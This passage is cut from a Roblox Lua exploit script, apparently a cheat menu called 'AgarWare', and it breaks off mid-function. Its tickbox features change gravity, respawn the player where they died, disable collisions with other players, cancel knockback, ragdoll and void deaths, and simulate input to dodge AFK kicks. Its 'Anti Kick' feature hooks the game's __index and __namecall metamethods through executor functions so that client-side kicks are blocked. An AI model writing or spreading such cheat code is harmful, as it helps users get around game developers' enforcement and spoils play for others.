			if onDisable then
				pcall(onDisable)
			end
		end
	
		-- Click handler
		tickBox.MouseButton1Click:Connect(function()
			if isEnabled then
				disable()
			else
				enable()
			end
		end)
	
		-- Store for cleanup
		table.insert(activeFeatures, {
			tooltip = tooltip,
			disable = disable,
			connection = loopConnection
		})
	
		return {
			enable = enable,
			disable = disable,
			isEnabled = function() return isEnabled end
		}
	end
	
	-- ============================================================
	-- BUTTON FEATURE SETUP
	-- ============================================================
	local function setupButton(config)
		local rowName = config.row
		local buttonName = config.button
		local tooltipText = config.tooltip
		local onClick = config.onClick
	
		local row = MiscGroup:FindFirstChild(rowName)
		if not row then 
			warn("[MiscGroup] Row not found:", rowName)
			return 
		end
	
		local button = row:FindFirstChild(buttonName)
		if not button then 
			warn("[MiscGroup] Button not found:", buttonName)
			return 
		end
	
		-- Create tooltip if provided
		if tooltipText then
			local tooltip = createTooltip(buttonName .. "Tooltip", tooltipText, button)
			table.insert(activeFeatures, {tooltip = tooltip})
		end
	
		-- Click handler
		button.MouseButton1Click:Connect(function()
			if onClick then
				pcall(onClick)
			end
		end)
	end
	
	-- ============================================================
	-- FEATURES START HERE
	-- ============================================================
	
	-- BOOST FPS
	local savedSettings = {
		WaterWaveSize = nil,
		WaterWaveSpeed = nil,
		WaterReflectance = nil,
		WaterTransparency = nil,
		GlobalShadows = nil,
		FogEnd = nil,
		FogStart = nil,
		QualityLevel = nil,
	}
	local savedParts = {}
	local savedDecals = {}
	local savedEffects = {}
	local descendantConn = nil
	
	setupTickBox({
		row = "BoostFPSRow",
		tickBox = "BoostFPSTickBox",
		tooltip = "Reduces graphics and removes effects to boost FPS",
		onEnable = function()
			local Terrain = workspace:FindFirstChildWhichIsA("Terrain")
			if Terrain then
				savedSettings.WaterWaveSize = Terrain.WaterWaveSize
				savedSettings.WaterWaveSpeed = Terrain.WaterWaveSpeed
				savedSettings.WaterReflectance = Terrain.WaterReflectance
				savedSettings.WaterTransparency = Terrain.WaterTransparency
				Terrain.WaterWaveSize = 0
				Terrain.WaterWaveSpeed = 0
				Terrain.WaterReflectance = 0
				Terrain.WaterTransparency = 1
			end
	
			savedSettings.GlobalShadows = Lighting.GlobalShadows
			savedSettings.FogEnd = Lighting.FogEnd
			savedSettings.FogStart = Lighting.FogStart
			savedSettings.QualityLevel = settings().Rendering.QualityLevel
	
			Lighting.GlobalShadows = false
			Lighting.FogEnd = 9e9
			Lighting.FogStart = 9e9
			settings().Rendering.QualityLevel = 1
	
			for _, v in pairs(game:GetDescendants()) do
				if v:IsA("BasePart") then
					savedParts[v] = {
						CastShadow = v.CastShadow,
						Material = v.Material,
						Reflectance = v.Reflectance,
						BackSurface = v.BackSurface,
						BottomSurface = v.BottomSurface,
						FrontSurface = v.FrontSurface,
						LeftSurface = v.LeftSurface,
						RightSurface = v.RightSurface,
						TopSurface = v.TopSurface,
					}
					v.CastShadow = false
					v.Material = Enum.Material.Plastic
					v.Reflectance = 0
					v.BackSurface = Enum.SurfaceType.SmoothNoOutlines
					v.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
					v.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
					v.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
					v.RightSurface = Enum.SurfaceType.SmoothNoOutlines
					v.TopSurface = Enum.SurfaceType.SmoothNoOutlines
				elseif v:IsA("Decal") then
					savedDecals[v] = {Transparency = v.Transparency, Texture = v.Texture}
					v.Transparency = 1
					v.Texture = ""
				elseif v:IsA("ParticleEmitter") or v:IsA("Trail") then
					savedEffects[v] = {Lifetime = v.Lifetime}
					v.Lifetime = NumberRange.new(0)
				end
			end
	
			for _, v in pairs(Lighting:GetDescendants()) do
				if v:IsA("PostEffect") then
					savedEffects[v] = {Enabled = v.Enabled}
					v.Enabled = false
				end
			end
	
			descendantConn = workspace.DescendantAdded:Connect(function(child)
				task.spawn(function()
					if child:IsA("ForceField") or child:IsA("Sparkles") or child:IsA("Smoke") or child:IsA("Fire") or child:IsA("Beam") then
						RunService.Heartbeat:Wait()
						child:Destroy()
					elseif child:IsA("BasePart") then
						child.CastShadow = false
					end
				end)
			end)
		end,
		onDisable = function()
			if descendantConn then
				descendantConn:Disconnect()
				descendantConn = nil
			end
	
			local Terrain = workspace:FindFirstChildWhichIsA("Terrain")
			if Terrain then
				if savedSettings.WaterWaveSize then Terrain.WaterWaveSize = savedSettings.WaterWaveSize end
				if savedSettings.WaterWaveSpeed then Terrain.WaterWaveSpeed = savedSettings.WaterWaveSpeed end
				if savedSettings.WaterReflectance then Terrain.WaterReflectance = savedSettings.WaterReflectance end
				if savedSettings.WaterTransparency then Terrain.WaterTransparency = savedSettings.WaterTransparency end
			end
	
			if savedSettings.GlobalShadows ~= nil then Lighting.GlobalShadows = savedSettings.GlobalShadows end
			if savedSettings.FogEnd then Lighting.FogEnd = savedSettings.FogEnd end
			if savedSettings.FogStart then Lighting.FogStart = savedSettings.FogStart end
			if savedSettings.QualityLevel then settings().Rendering.QualityLevel = savedSettings.QualityLevel end
	
			for v, data in pairs(savedParts) do
				pcall(function()
					v.CastShadow = data.CastShadow
					v.Material = data.Material
					v.Reflectance = data.Reflectance
					v.BackSurface = data.BackSurface
					v.BottomSurface = data.BottomSurface
					v.FrontSurface = data.FrontSurface
					v.LeftSurface = data.LeftSurface
					v.RightSurface = data.RightSurface
					v.TopSurface = data.TopSurface
				end)
			end
	
			for v, data in pairs(savedDecals) do
				pcall(function()
					v.Transparency = data.Transparency
					v.Texture = data.Texture
				end)
			end
	
			for v, data in pairs(savedEffects) do
				pcall(function()
					if data.Lifetime then
						v.Lifetime = data.Lifetime
					elseif data.Enabled ~= nil then
						v.Enabled = data.Enabled
					end
				end)
			end
	
			savedParts = {}
			savedDecals = {}
			savedEffects = {}
		end
	})
	
	-- RESPAWN DEATH
	local lastPosition = nil
	
	setupTickBox({
		row = "RespawnDeathRow",
		tickBox = "RespawnDeathTickBox",
		tooltip = "Respawns you at your last position when you die instead of at the spawn point.",
		onEnable = function()
			-- Save position every second
			task.spawn(function()
				while true do
					task.wait(1)
					local character = LocalPlayer.Character
					if character then
						local hrp = character:FindFirstChild("HumanoidRootPart")
						if hrp then
							lastPosition = hrp.CFrame
						end
					end
				end
			end)
	
			-- Watch for respawns
			LocalPlayer.CharacterAdded:Connect(function(character)
				if lastPosition then
					local hrp = character:WaitForChild("HumanoidRootPart")
					task.wait(0.01)
					hrp.CFrame = lastPosition
				end
			end)
		end,
		onDisable = function()
			lastPosition = nil
		end
	})
	
	-- GRAVITY
	local DEFAULT_GRAVITY = 196.2
	local GravityRow = MiscGroup:FindFirstChild("GravityRow")
	if GravityRow then
		local GravityChanger = GravityRow:FindFirstChild("GravityChanger")
	
		local function getGravity()
			if not GravityChanger then return DEFAULT_GRAVITY end
			local text = string.lower(GravityChanger.Text)
			if text == "inf" or text == "infinity" then return math.huge end
			local num = tonumber(GravityChanger.Text)
			if num == 0 then return 0 end
			return num and num > 0 and num or DEFAULT_GRAVITY
		end
	
		local gravityFeature = setupTickBox({
			row = "GravityRow",
			tickBox = "GravityTickBox",
			tooltip = "Changes workspace gravity. Default is 196.2. Set to 0 for no gravity, or type inf for max gravity.",
			onEnable = function()
				workspace.Gravity = getGravity()
			end,
			onDisable = function()
				workspace.Gravity = DEFAULT_GRAVITY
			end
		})
	
		if GravityChanger then
			GravityChanger:GetPropertyChangedSignal("Text"):Connect(function()
				if gravityFeature and gravityFeature.isEnabled() then
					workspace.Gravity = getGravity()
				end
			end)
	
			GravityChanger.FocusLost:Connect(function()
				local text = string.lower(GravityChanger.Text)
				if text == "inf" or text == "infinity" or text == "" then return end
				local num = tonumber(GravityChanger.Text)
				if num == nil then
					GravityChanger.Text = ""
				end
			end)
		end
	
		LocalPlayer.CharacterAdded:Connect(function(character)
			character:WaitForChild("Humanoid")
			if gravityFeature and gravityFeature.isEnabled() then
				workspace.Gravity = getGravity()
			end
		end)
	end
	
	-- ============================================================
	-- ADD NEW FEATURES HERE - USE THESE TEMPLATES:
	-- ============================================================
	
	--[[
	TICKBOX TEMPLATE:
	
	setupTickBox({
		row = "YourRow",
		tickBox = "YourTickBox",
		tooltip = "What this feature does",
		onEnable = function()
			-- Runs once when enabled
		end,
		onDisable = function()
			-- Runs once when disabled
		end,
		loop = function()
			-- Runs every frame while enabled
		end
	})
	
	================================================================================
	
	BUTTON TEMPLATE:
	
	setupButton({
		row = "YourRow",
		button = "YourButton",
		tooltip = "What this button does",  -- Optional
		onClick = function()
			-- Runs when clicked
		end
	})
	
	================================================================================
	]]
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			for _, feature in pairs(activeFeatures) do
				if feature.tooltip then
					feature.tooltip:Destroy()
				end
				if feature.disable then
					feature.disable()
				end
			end
		end
	end)
end;
task.spawn(C_35);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.RejoinRow.RejoinScript
local function C_3b()
local script = G2L["3b"];
	local Players = game:GetService("Players")
	local TeleportService = game:GetService("TeleportService")
	local RunService = game:GetService("RunService")
	local LocalPlayer = Players.LocalPlayer
	local RejoinRow = script.Parent
	local RejoinButton = RejoinRow.RejoinButton
	
	local HOLD_TIME = 1
	local GREY = Color3.fromRGB(80, 80, 80)
	local WHITE = Color3.new(1, 1, 1)
	
	-- Wait for GUI to be fully loaded
	if not game:IsLoaded() then
		game.Loaded:Wait()
	end
	
	-- Clear the button's default text
	RejoinButton.Text = ""
	
	local fillBar = Instance.new("Frame")
	fillBar.Name = "FillBar"
	fillBar.Size = UDim2.new(0, 0, 1, 0)
	fillBar.Position = UDim2.new(0, 0, 0, 0)
	fillBar.BackgroundColor3 = GREY
	fillBar.BorderSizePixel = 0
	fillBar.ZIndex = 1
	fillBar.Parent = RejoinButton
	
	local btnLabel = Instance.new("TextLabel")
	btnLabel.Name = "BtnLabel"
	btnLabel.Size = UDim2.new(1, 0, 1, 0)
	btnLabel.Position = UDim2.new(0, 0, 0, 0)
	btnLabel.BackgroundTransparency = 1
	btnLabel.Text = "Rejoin Server"
	btnLabel.TextColor3 = WHITE
	btnLabel.TextSize = 14
	btnLabel.Font = Enum.Font.Code
	btnLabel.ZIndex = 2
	btnLabel.Parent = RejoinButton
	
	local holding = false
	local progress = 0
	local connection = nil
	
	local function rejoin()
		TeleportService:TeleportToPlaceInstance(game.PlaceId, game.JobId, LocalPlayer)
	end
	
	local function stopHold()
		holding = false
		if connection then
			connection:Disconnect()
			connection = nil
		end
		progress = 0
		fillBar.Size = UDim2.new(0, 0, 1, 0)
		fillBar.BackgroundColor3 = GREY
		btnLabel.Text = "Rejoin Server"
		btnLabel.TextColor3 = WHITE
	end
	
	RejoinButton.MouseButton1Down:Connect(function()
		holding = true
		progress = 0
		btnLabel.Text = "Hold to Rejoin..."
		fillBar.BackgroundColor3 = GREY
	
		connection = RunService.RenderStepped:Connect(function(dt)
			if not holding then return end
	
			progress = progress + (dt / HOLD_TIME)
			progress = math.clamp(progress, 0, 1)
			fillBar.Size = UDim2.new(progress, 0, 1, 0)
	
			if progress >= 1 then
				btnLabel.Text = "Rejoining..."
				stopHold()
				task.wait(0.1)
				rejoin()
			end
		end)
	end)
	
	RejoinButton.MouseButton1Up:Connect(function()
		stopHold()
	end)
	
	RejoinButton.MouseLeave:Connect(function()
		stopHold()
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			if connection then connection:Disconnect() end
		end
	end)
end;
task.spawn(C_3b);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiScript
local function C_4a()
local script = G2L["4a"];
	-- ============================================================
	-- ANTI GROUP MASTER SCRIPT
	-- Place this script directly under AntiGroup
	-- Handles: Minimize, AntiAfk, AntiFling, AntiKB, AntiKick, AntiRagdoll, AntiVoid
	-- ============================================================
	
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	local LocalPlayer = Players.LocalPlayer
	
	local AntiGroup = script.Parent
	local AntiMinimize = AntiGroup.AntiTitle.AntiMinimize
	local AntiAccentColor = AntiGroup:FindFirstChild("AntiAccentColor")
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	local function getScreenGui()
		local p = AntiGroup
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
		return game:GetService("CoreGui")
	end
	
	-- ============================================================
	-- TOOLTIP CREATOR
	-- ============================================================
	local function createTooltip(name, text, parent)
		local frame = Instance.new("Frame")
		frame.Name = name
		frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
		frame.BorderSizePixel = 0
		frame.ZIndex = 100
		frame.AutomaticSize = Enum.AutomaticSize.Y
		frame.Size = UDim2.new(0, 212, 0, 0)
		frame.Visible = false
		frame.Parent = getScreenGui()
	
		local stroke = Instance.new("UIStroke")
		stroke.Color = Color3.fromRGB(57, 57, 57)
		stroke.Thickness = 1
		stroke.Parent = frame
	
		local padding = Instance.new("UIPadding")
		padding.PaddingTop = UDim.new(0, 6)
		padding.PaddingBottom = UDim.new(0, 6)
		padding.PaddingLeft = UDim.new(0, 6)
		padding.PaddingRight = UDim.new(0, 6)
		padding.Parent = frame
	
		local label = Instance.new("TextLabel")
		label.BackgroundTransparency = 1
		label.Text = text
		label.TextColor3 = Color3.new(1, 1, 1)
		label.TextSize = 14
		label.TextXAlignment = Enum.TextXAlignment.Left
		label.TextYAlignment = Enum.TextYAlignment.Top
		label.Font = Enum.Font.GothamSemibold
		label.TextWrapped = true
		label.Size = UDim2.new(0, 200, 0, 0)
		label.AutomaticSize = Enum.AutomaticSize.Y
		label.ZIndex = 101
		label.Parent = frame
	
		if parent then
			parent.MouseEnter:Connect(function()
				local abs = parent.AbsolutePosition
				local size = parent.AbsoluteSize
				frame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
				frame.Visible = true
			end)
	
			parent.MouseLeave:Connect(function()
				frame.Visible = false
			end)
		end
	
		return frame
	end
	
	-- ============================================================
	-- MINIMIZE FUNCTIONALITY
	-- ============================================================
	local function getRows()
		local rows = {}
		for _, child in ipairs(AntiGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = AntiGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	AntiMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
	
		if isMinimized then
			AntiGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			AntiMinimize.Text = "+"
		else
			AntiGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			AntiMinimize.Text = "-"
		end
	end)
	
	-- ============================================================
	-- TICKBOX FEATURE SETUP
	-- ============================================================
	local activeFeatures = {}
	
	local function setupTickBox(config)
		local rowName = config.row
		local tickBoxName = config.tickBox
		local tooltipText = config.tooltip
		local onEnable = config.onEnable
		local onDisable = config.onDisable
		local loop = config.loop
	
		local row = AntiGroup:FindFirstChild(rowName)
		if not row then 
			warn("[AntiGroup] Row not found:", rowName)
			return 
		end
	
		local tickBox = row:FindFirstChild(tickBoxName)
		if not tickBox then 
			warn("[AntiGroup] TickBox not found:", tickBoxName)
			return 
		end
	
		local isEnabled = false
		local loopConnection = nil
		tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
		-- Create tooltip
		local tooltip = createTooltip(tickBoxName .. "Tooltip", tooltipText, tickBox)
	
		-- Enable function
		local function enable()
			isEnabled = true
	
			if AntiAccentColor then
				tickBox.BackgroundColor3 = AntiAccentColor.BackgroundColor3
			else
				tickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255)
			end
	
			if onEnable then
				pcall(onEnable)
			end
	
			if loop then
				loopConnection = RunService.Heartbeat:Connect(function()
					if isEnabled then
						pcall(loop)
					end
				end)
			end
		end
	
		-- Disable function
		local function disable()
			isEnabled = false
			tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
			if loopConnection then
				loopConnection:Disconnect()
				loopConnection = nil
			end
	
			if onDisable then
				pcall(onDisable)
			end
		end
	
		-- Click handler
		tickBox.MouseButton1Click:Connect(function()
			if isEnabled then
				disable()
			else
				enable()
			end
		end)
	
		-- Store for cleanup
		table.insert(activeFeatures, {
			tooltip = tooltip,
			disable = disable,
			connection = loopConnection
		})
	
		return {
			enable = enable,
			disable = disable,
			isEnabled = function() return isEnabled end
		}
	end
	
	-- ============================================================
	-- FEATURES START HERE
	-- ============================================================
	
	-- ANTI AFK
	local afkTask = nil
	
	setupTickBox({
		row = "AntiAfkRow",
		tickBox = "AntiAfkTickBox",
		tooltip = "Prevents you from being kicked for being AFK",
		onEnable = function()
			afkTask = task.spawn(function()
				while true do
					local virtualUser = game:GetService("VirtualUser")
					virtualUser:CaptureController()
					virtualUser:ClickButton2(Vector2.new())
					task.wait(60)
				end
			end)
		end,
		onDisable = function()
			if afkTask then
				task.cancel(afkTask)
				afkTask = nil
			end
		end
	})
	
	-- ANTI FLING
	local antiFlingConnection = nil
	
	setupTickBox({
		row = "AntiFlingRow",
		tickBox = "AntiFlingTickBox",
		tooltip = "Disables collision with other players",
		onEnable = function()
			-- Set all current players to no collide
			for _, player in pairs(Players:GetPlayers()) do
				if player ~= LocalPlayer and player.Character then
					for _, part in pairs(player.Character:GetDescendants()) do
						if part:IsA("BasePart") then
							part.CanCollide = false
						end
					end
				end
			end
	
			-- Use Stepped instead of Heartbeat for better anti-fling
			if antiFlingConnection then
				antiFlingConnection:Disconnect()
			end
			antiFlingConnection = RunService.Stepped:Connect(function()
				for _, player in pairs(Players:GetPlayers()) do
					if player ~= LocalPlayer and player.Character then
						for _, part in pairs(player.Character:GetDescendants()) do
							if part:IsA("BasePart") then
								part.CanCollide = false
							end
						end
					end
				end
			end)
		end,
		onDisable = function()
			if antiFlingConnection then
				antiFlingConnection:Disconnect()
				antiFlingConnection = nil
			end
	
			-- Re-enable collision for all players
			for _, player in pairs(Players:GetPlayers()) do
				if player ~= LocalPlayer and player.Character then
					for _, part in pairs(player.Character:GetDescendants()) do
						if part:IsA("BasePart") then
							part.CanCollide = true
						end
					end
				end
			end
		end
	})
	
	-- ANTI KB
	setupTickBox({
		row = "AntiKBRow",
		tickBox = "AntiKBTickBox",
		tooltip = "Prevents your character from being knocked back. May not work in all games",
		loop = function()
			local character = LocalPlayer.Character
			if not character then return end
			local hrp = character:FindFirstChild("HumanoidRootPart")
			if not hrp then return end
			hrp.AssemblyLinearVelocity = Vector3.new(0, hrp.AssemblyLinearVelocity.Y, 0)
			hrp.AssemblyAngularVelocity = Vector3.zero
		end
	})
	
	-- ANTI KICK
	local oldhmmi = nil
	local oldhmmnc = nil
	local oldKickFunction = nil
	
	setupTickBox({
		row = "AntiKickRow",
		tickBox = "AntiKickTickBox",
		tooltip = "Prevents the game from kicking you via LocalScript. Does not work on server-side kicks.",
		onEnable = function()
			if not hookmetamethod then return end
	
			if hookfunction then
				oldKickFunction = hookfunction(LocalPlayer.Kick, function() end)
			end
	
			oldhmmi = hookmetamethod(game, "__index", function(self, method)
				if self == LocalPlayer and method:lower() == "kick" then
					return error("Expected ':' not '.' calling member function Kick", 2)
				end
				return oldhmmi(self, method)
			end)
	
			oldhmmnc = hookmetamethod(game, "__namecall", function(self, ...)
				if self == LocalPlayer and getnamecallmethod():lower() == "kick" then
					return
				end
				return oldhmmnc(self, ...)
			end)
		end,
		onDisable = function()
			if oldKickFunction and hookfunction then
				pcall(function()
					hookfunction(LocalPlayer.Kick, oldKickFunction)
				end)
				oldKickFunction = nil
			end
			if oldhmmi and hookmetamethod then
				pcall(function()
					hookmetamethod(game, "__index", oldhmmi)
				end)
				oldhmmi = nil
			end
			if oldhmmnc and hookmetamethod then
				pcall(function()
					hookmetamethod(game, "__namecall", oldhmmnc)
				end)
				oldhmmnc = nil
			end
		end
	})
	
	-- ANTI RAGDOLL
	setupTickBox({
		row = "AntiRagdollRow",
		tickBox = "AntiRagdollTickBox",
		tooltip = "Prevents your character from ragdolling. May not work in all games",
		onEnable = function()
			local character = LocalPlayer.Character
			if not character then return end
			local humanoid = character:FindFirstChildOfClass("Humanoid")
			if humanoid then
				humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll, false)
				humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown, false)
			end
		end,
		onDisable = function()
			local character = LocalPlayer.Character
			if not character then return end
			local humanoid = character:FindFirstChildOfClass("Humanoid")
			if humanoid then
				humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll, true)
				humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown, true)
			end
		end,
		loop = function()
			local chr = LocalPlayer.Character
			if not chr then return end
			local hum = chr:FindFirstChildOfClass("Humanoid")
			if not hum then return end
	
			for _, part in pairs(chr:GetDescendants()) do
				if part:IsA("BallSocketConstraint") or part:IsA("HingeConstraint") then
					if part:FindFirstAncestorOfClass("Motor6D") == nil then
						part.Enabled = false
					end
				end
			end
	
			if hum:GetState() == Enum.HumanoidStateType.Ragdoll or
				hum:GetState() == Enum.HumanoidStateType.FallingDown then
				hum:ChangeState(Enum.HumanoidStateType.GettingUp)
			end
		end
	})
	
	-- ANTI VOID
	local originalDestroyHeight = workspace.FallenPartsDestroyHeight
	local dhoffset = 5
	local dhto = 25
	local fpsdiv = 5
	local connectsextra = {}
	local charcframe = nil
	local tpcframe = nil
	local voidStopped = false
	local voidSteppedConn = nil
	local voidCharConn = nil
	
	local function dochar(character)
		coroutine.wrap(function()
			repeat task.wait() until character:FindFirstChildWhichIsA("Humanoid")
			local hum = character:FindFirstChildWhichIsA("Humanoid")
			local state = hum:GetState()
			table.insert(connectsextra, hum.StateChanged:Connect(function(old, new)
				state = new
			end))
			local oldstate = nil
			while hum ~= nil and hum.Parent ~= nil and not voidStopped do
				task.wait()
				if state ~= oldstate and (state ~= Enum.HumanoidStateType.Jumping and state ~= Enum.HumanoidStateType.Freefall)
					or (state == Enum.HumanoidStateType.Running or state == Enum.HumanoidStateType.Landed) then
					tpcframe = charcframe
				end
				oldstate = state
			end
		end)()
	end
	
	local function fixchar(character, part, destroyheightnew)
		if character then
			local piv = character:GetPivot()
			character:PivotTo(CFrame.new(piv.Position.X, workspace.FallenPartsDestroyHeight + dhto + character:GetExtentsSize().Y, piv.Position.Z))
		end
		if part then
			part.Velocity = Vector3.new(0, 0, 0)
			if character then
				for _, v in pairs(character:GetChildren()) do
					if v:IsA("BasePart") then
						v.Velocity = Vector3.new(0, 0, 0)
					end
				end
			end
		end
	end
	
	setupTickBox({
		row = "AntiVoidRow",
		tickBox = "AntiVoidTickBox",
		tooltip = "Prevents your character from falling into the void",
		onEnable = function()
			voidStopped = false
			workspace.FallenPartsDestroyHeight = -50000
			local destroyheightnew = originalDestroyHeight + dhoffset
	
			local character = LocalPlayer.Character
			if character then
				dochar(character)
			end
	
			voidCharConn = LocalPlayer.CharacterAdded:Connect(function(newCharacter)
				dochar(newCharacter)
			end)
	
			voidSteppedConn = RunService.Stepped:Connect(function()
				local chr = LocalPlayer.Character
				if chr ~= nil and chr:FindFirstChildWhichIsA("BasePart") then
					local part = chr:FindFirstChild("HumanoidRootPart") or chr:FindFirstChildWhichIsA("BasePart")
					local cfr = (chr:FindFirstChild("HumanoidRootPart") and chr.HumanoidRootPart.CFrame) or chr:GetPivot()
					charcframe = cfr
	
					if cfr.Position.Y < destroyheightnew then
						fixchar(chr, part, destroyheightnew)
					end
	
					local partvel = part.Velocity
					if (partvel.Y / fpsdiv) + part.Position.Y < destroyheightnew then
						fixchar(chr, part, destroyheightnew)
					end
				end
			end)
		end,
		onDisable = function()
			voidStopped = true
			workspace.FallenPartsDestroyHeight = originalDestroyHeight
	
			if voidSteppedConn then
				voidSteppedConn:Disconnect()
				voidSteppedConn = nil
			end
			if voidCharConn then
				voidCharConn:Disconnect()
				voidCharConn = nil
			end
			for _, v in pairs(connectsextra) do
				v:Disconnect()
			end
			connectsextra = {}
		end
	})
	
	-- ============================================================
	-- ADD NEW FEATURES HERE - USE THIS TEMPLATE:
	-- ============================================================
	
	--[[
	setupTickBox({
		row = "YourRow",
		tickBox = "YourTickBox",
		tooltip = "What this feature does",
		onEnable = function()
			-- Runs once when enabled
		end,
		onDisable = function()
			-- Runs once when disabled
		end,
		loop = function()
			-- Runs every frame while enabled
		end
	})
	]]
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			for _, feature in pairs(activeFeatures) do
				if feature.tooltip then
					feature.tooltip:Destroy()
				end
				if feature.disable then
					feature.disable()
				end
			end
		end
	end)
end;
task.spawn(C_4a);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.CharacterScript
local function C_62()
local script = G2L["62"];
	-- ============================================================
	-- CHARACTER GROUP MASTER SCRIPT
	-- Place this script directly under CharacterGroup
	-- Handles: Minimize, FreezeAnim, GodMode, Noclip, TpPlayer, TpSpawn
	-- ============================================================
	
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	local LocalPlayer = Players.LocalPlayer
	
	local CharacterGroup = script.Parent
	local CharacterMinimize = CharacterGroup.CharacterTitle.CharacterMinimize
	local CharacterAccentColor = CharacterGroup:FindFirstChild("CharacterAccentColor")
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	local function getScreenGui()
		local p = CharacterGroup
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
		return game:GetService("CoreGui")
	end
	
	-- ============================================================
	-- TOOLTIP CREATOR
	-- ============================================================
	local function createTooltip(name, text, parent)
		local frame = Instance.new("Frame")
		frame.Name = name
		frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
		frame.BorderSizePixel = 0
		frame.ZIndex = 100
		frame.AutomaticSize = Enum.AutomaticSize.Y
		frame.Size = UDim2.new(0, 212, 0, 0)
		frame.Visible = false
		frame.Parent = getScreenGui()
	
		local stroke = Instance.new("UIStroke")
		stroke.Color = Color3.fromRGB(57, 57, 57)
		stroke.Thickness = 1
		stroke.Parent = frame
	
		local padding = Instance.new("UIPadding")
		padding.PaddingTop = UDim.new(0, 6)
		padding.PaddingBottom = UDim.new(0, 6)
		padding.PaddingLeft = UDim.new(0, 6)
		padding.PaddingRight = UDim.new(0, 6)
		padding.Parent = frame
	
		local label = Instance.new("TextLabel")
		label.BackgroundTransparency = 1
		label.Text = text
		label.TextColor3 = Color3.new(1, 1, 1)
		label.TextSize = 14
		label.TextXAlignment = Enum.TextXAlignment.Left
		label.TextYAlignment = Enum.TextYAlignment.Top
		label.Font = Enum.Font.GothamSemibold
		label.TextWrapped = true
		label.Size = UDim2.new(0, 200, 0, 0)
		label.AutomaticSize = Enum.AutomaticSize.Y
		label.ZIndex = 101
		label.Parent = frame
	
		if parent then
			parent.MouseEnter:Connect(function()
				local abs = parent.AbsolutePosition
				local size = parent.AbsoluteSize
				frame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
				frame.Visible = true
			end)
	
			parent.MouseLeave:Connect(function()
				frame.Visible = false
			end)
		end
	
		return frame
	end
	
	-- ============================================================
	-- MINIMIZE FUNCTIONALITY
	-- ============================================================
	local function getRows()
		local rows = {}
		for _, child in ipairs(CharacterGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = CharacterGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	CharacterMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
	
		if isMinimized then
			CharacterGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			CharacterMinimize.Text = "+"
		else
			CharacterGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			CharacterMinimize.Text = "-"
		end
	end)
	
	-- ============================================================
	-- TICKBOX FEATURE SETUP
	-- ============================================================
	local activeFeatures = {}
	
	local function setupTickBox(config)
		local rowName = config.row
		local tickBoxName = config.tickBox
		local tooltipText = config.tooltip
		local onEnable = config.onEnable
		local onDisable = config.onDisable
		local loop = config.loop
	
		local row = CharacterGroup:FindFirstChild(rowName)
		if not row then 
			warn("[CharacterGroup] Row not found:", rowName)
			return 
		end
	
		local tickBox = row:FindFirstChild(tickBoxName)
		if not tickBox then 
			warn("[CharacterGroup] TickBox not found:", tickBoxName)
			return 
		end
	
		local isEnabled = false
		local loopConnection = nil
		tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
		-- Create tooltip
		local tooltip = createTooltip(tickBoxName .. "Tooltip", tooltipText, tickBox)
	
		-- Enable function
		local function enable()
			isEnabled = true
	
			if CharacterAccentColor then
				tickBox.BackgroundColor3 = CharacterAccentColor.BackgroundColor3
			else
				tickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255)
			end
	
			if onEnable then
				pcall(onEnable)
			end
	
			if loop then
				loopConnection = RunService.Heartbeat:Connect(function()
					if isEnabled then
						pcall(loop)
					end
				end)
			end
		end
	
		-- Disable function
		local function disable()
			isEnabled = false
			tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
			if loopConnection then
				loopConnection:Disconnect()
				loopConnection = nil
			end
	
			if onDisable then
				pcall(onDisable)
			end
		end
	
		-- Click handler
		tickBox.MouseButton1Click:Connect(function()
			if isEnabled then
				disable()
			else
				enable()
			end
		end)
	
		-- Store for cleanup
		table.insert(activeFeatures, {
			tooltip = tooltip,
			disable = disable,
			connection = loopConnection
		})
	
		return {
			enable = enable,
			disable = disable,
